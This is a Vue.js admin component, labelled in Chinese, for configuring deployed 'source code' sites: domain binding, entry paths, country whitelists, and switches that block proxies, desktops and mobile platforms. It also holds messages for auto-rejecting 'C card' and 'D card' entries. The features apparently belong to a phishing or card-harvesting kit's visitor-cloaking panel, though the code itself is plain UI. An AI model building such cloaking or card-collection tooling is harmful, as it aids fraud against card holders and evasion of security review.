<template>
  <div class="domain-card">
    <h3 class="number-heading">{{ number }}</h3>
    <hr class="website-line"/>
    <p class="website">
      官网: <a :href="extractedUrl">{{ source_info }}</a>
    </p>
    <hr class="website-line"/>
    <p>前台入口: {{ enter_url || "无" }}</p>
    <p>
      绑定的域名:
      <span id="domain-url">{{ domain_url || "无" }}</span>
      <button class="copy-button" @click="copyDomain">点击复制</button>
    </p>
    <hr class="website-line"/>
    <!-- 按钮容器 -->
    <div class="button-container">
      <el-button
          class="custom-button"
          @click="(drawer = true)"
      >配置
      </el-button
      >
      <span class="separator"></span>
      <!-- 竖线 -->
      <button class="custom-button" @click="update">更新</button>
    </div>
    <div class="wrapper">
      <el-dialog
          :visible.sync="drawer"
          :direction="direction"
      >
        <template #title>
          <span style="font-size: 30px; font-weight: bold;">{{ number }}</span>
        </template>
        <p style="font-size: 18px; font-weight: bold; color: red; margin-top: 0px !important;">
          这里只有域名是必填的, 其它的保持为空会使用默认值; 域名绑定数量没有限制;
          如果你解析域名的时候没有使用 Cloudflare , 那你需要在域名生效后点下左下角的 [申请证书]
        </p>
        <p style="font-size: 18px; font-weight: bold; color: rgba(76,175,96,0.98);">同一个域名不能同时给两个源码用, 否则只有一个生效</p>
        <el-form
            class="custom-form"
            :model="form"
            ref="form"
            label-position="top"
            :rules="rules"
            :disabled="disabled"
        >
          <div style="padding: 0 16px">
            <el-form-item prop="domainUrl" label="域名绑定">
              <el-input
                  clearable
                  placeholder="为此源码绑定域名, 不需要输入 http 这些东西(小写)"
                  v-model="form.domain_url"
                  class="custom-placeholder"
              >
              </el-input>
            </el-form-item>
            <el-form-item
                prop="enteryUrl"
                label="前台入口(!不能为空!)"
            >
              <el-input
                  clearable
                  placeholder="比如域名是abc.com , 这个设置成 xxx , 完整链接就是 abc.com/xxx (区分大小写, 不要用特殊符号!!!)"
                  v-model="form.enter_url"
                  class="custom-placeholder"
              >
              </el-input>
            </el-form-item>
            <el-form-item
                prop="ipWhiteList"
                label="IP白名单(只允许指定国家访问)"
            >
              <el-input
                  clearable
                  placeholder="例如 US;JP; (不区分大小写)"
                  v-model="form.ip_white_list"
                  class="custom-placeholder"
              >
              </el-input>
            </el-form-item>
            <el-form-item
                prop="interceptProxy"
                label="拦截代理访问"
            >
              <el-switch
                  :active-value="1"
                  :inactive-value="0"
                  v-model="form.intercept_proxy"
              ></el-switch>
            </el-form-item>

            <el-form-item
                prop="filterComputer"
                label="拦截电脑设备(一般电脑设备进来的没几个正常的, 根据具体情况自行选择)"
            >
              <el-switch
                  :active-value="1"
                  :inactive-value="0"
                  v-model="form.intercept_computer"
              ></el-switch>
            </el-form-item>

            <el-form-item prop="filterIos" label="拦截iOS设备">
              <el-switch
                  :active-value="1"
                  :inactive-value="0"
                  v-model="form.intercept_ios"
              ></el-switch>
            </el-form-item>
            <el-form-item prop="filterAndroid" label="拦截Android设备">
              <el-switch
                  :active-value="1"
                  :inactive-value="0"
                  v-model="form.intercept_android"
              ></el-switch>
            </el-form-item>
            <el-form-item prop="refuseMsg" label="卡错误提示">
              <el-input
                  type="textarea"
                  style="height: 100px;"
                  clearable
                  placeholder="自动拒绝或者默认的提示"
                  v-model="form.refuse_msg"
              >
              </el-input>
            </el-form-item>

            <el-form-item prop="refuseMsgC" label="自动拒绝C卡的提示">
              <el-input
                  type="textarea"
                  style="height: 100px;"
                  clearable
                  placeholder="请填写"
                  v-model="form.refuse_msg_c"
              >
              </el-input>
            </el-form-item>

            <el-form-item prop="refuseMsgD" label="自动拒绝D卡的提示">
              <el-input
                  type="textarea"
                  style="height: 100px;"
                  clearable
                  placeholder="请填写"
                  v-model="form.refuse_msg_d"
              >
              </el-input>
            </el-form-item>
            <div style="margin-top: 10px;text-align: center;">
              <el-button @click="cancel">取消</el-button>
              <el-button type="primary" @click="submit"
              >确认
              </el-button
              >
            </div>
          </div>
        </el-form>
      </el-dialog>
    </div>
  </div>
</template>


<script>
import {createOrUpdateSourceCode, getSourceInfoById,} from "@/api/tool/dataSearch";
import ShowMoreBtn from "../dataSearch/showMoreBtn.vue";
import {mapGetters} from "vuex";
import {formatTime} from "@/utils/index";

export default {
  props: {
    domain_id: Number,
    number: String,
    source_info: String,
    domain_url: String,
    enter_url: String,
    ip_white_list: String,
    intercept_proxy: Number,
    intercept_computer: Number,
    intercept_ios: Number,
    refuse_msg: String,
    refuse_msg_c: String,
    refuse_msg_d: String,
    refreshList:Function,

  },
  data() {
    return {
      client_page_id:this.domain_id,
      showMessage: false,
      direction: "rtl",
      drawer: false,
      message: "",
      form: {
      },
      rules: {
        page_url: [
          {
            message: "请选择域名",
            trigger: "change",
          },
        ],
        entery: [
          {
            message: "请填写前台入口",
            trigger: "blur",
          },
        ],
      },
      disabled: false,
      current: {},
      list: [],
      onlineUsersCount: 0,
      urlList: [],
    };
  },
  watch:{
    drawer(val){
      if (val){
        this.getSourceInfoDetail();
      }
    }
  },
  mounted() {
    console.log(this.domain_id)

  },
  components: {

    ShowMoreBtn,
  },
  computed: {
    ...mapGetters(["user"]),
    extractedUrl() {
      // 从 source_info 中提取 URL
      // 这里的正则表达式假设 URL 始终以 http 或 https 开头
      const match = this.source_info.match(/https?:\/\/[^\s]+/);
      return match ? match[0] : '';  // 如果找到 URL，则返回它，否则返回空字符串
    }
  },
  methods: {
    update() {
      // 更新逻辑
      const h = this.$createElement;
      this.$message({
        message: h('p', null, [
          h('span', null, '敬请期待 '),
          h('i', { style: 'color: teal' }, '！！！')
        ])
      });
    },
    copyDomain() {

      const domainText =  `https://${this.domain_url}/${this.enter_url}`;
      navigator.clipboard.writeText(domainText).then(() => {
        alert('访问链接已复制: ' + domainText);
      }).catch(() => {
        alert('复制失败，请手动复制');
      });
    },
    formatTime,
    getSourceInfoDetail() {
      console.log('当前域名ID为: ' + this.domain_id);
      getSourceInfoById({id:this.domain_id}).then((result) => {
        this.form = result;
      });
    },
    cancel() {
      this.drawer = false;
      this.form = {};
    },
    submit() {
      this.$refs.form.validate((valid) => {
        if (valid) {
          const params = {
            ...this.form,
            id: this.domain_id
          };
          createOrUpdateSourceCode(params).then((result) => {
            console.log(result, "result");
            this.$message.success("保存成功");
            this.drawer = false;
            this.refreshList && this.refreshList()
          });
        } else {
          console.log("error submit!!");
          return false;
        }
      });
    },
  },
};
</script>


<style lang="scss" scoped>
.custom-placeholder ::placeholder {
  color: #707270; /* 自定义颜色 */
  opacity: 1; /* 确保颜色不被透明度影响 */
}

.custom-input {
  ::v-deep {
    color: #f00606; /* 设置输入框的高度 */
  }
}

.number-heading {
  color: rgb(223, 21, 21); /* 设置颜色为蓝色 */
}

.button-container {
  display: flex;
  /* 使用 Flexbox */
  justify-content: center;
  /* 水平居中 */
  gap: 60px;
  /* 设置按钮之间的间距 */
  margin-top: 10px;
  /* 设置按钮容器与上方内容的间距 */
}

.custom-button {
  padding: 8px 30px;
  /* 设置按钮的内边距 */
  font-size: 14px;
  /* 设置字体大小 */
  font-weight: bold;
  /* 加粗字体 */
  background-color: white;
  /* 设置背景色 */
  color: #2b2727;
  /* 设置字体颜色 */
  border: 0.5px solid lightgray;
  /* 设置浅灰色边框 */
  border-radius: 8px;
  /* 设置圆角 */
  cursor: pointer;
  /* 鼠标悬停时显示为手型 */
  transition: background-color 0.3s, border-color 0.3s;
  /* 添加背景色和边框颜色变化的过渡效果 */
}

.domain-card {
  border: 1px solid #ddd;
  padding: 16px;
  margin: 8px;
  border-radius: 8px;
  text-align: left;
}

button {
  margin-right: 8px;
}

.website-line {
  border: none;
  height: 1px;
  background-color: #c2bfbf;
  margin: 5px 0;
}

.website {
  margin-top: 50px;
  /* 增加上边距 */
  margin-bottom: 50px;
  /* 增加下边距 */
}

.separator {
  width: 0.5px;
  /* 竖线的宽度 */
  height: 40px;
  /* 竖线的高度 */
  background-color: lightgray;
  /* 竖线颜色 */
}

@keyframes shake {
  0%,
  100% {
    transform: translateX(0);
  }

  10%,
  30%,
  50%,
  70%,
  90% {
    transform: translateX(-10px);
  }

  20%,
  40%,
  60%,
  80% {
    transform: translateX(10px);
  }
}


.wrapper {
  padding: 32px;

  ::v-deep .el-form-item__label {
    color: #2b2727; /* 表单标签颜色 */
  }
}
.custom-button1 {
  pointer-events: auto; /* 确保没有设置为 none */
  opacity: 1; /* 确保不透明度正常 */
}

.title {
  display: flex;
  justify-content: space-between;
  align-items: center;
  margin-bottom: 32px;
}
.copy-button {
  margin-left: 5px;
  padding: 5px 10px;
  background-color: #4CAF50;
  color: white;
  border: none;
  border-radius: 3px;
  cursor: pointer;
}

</style>
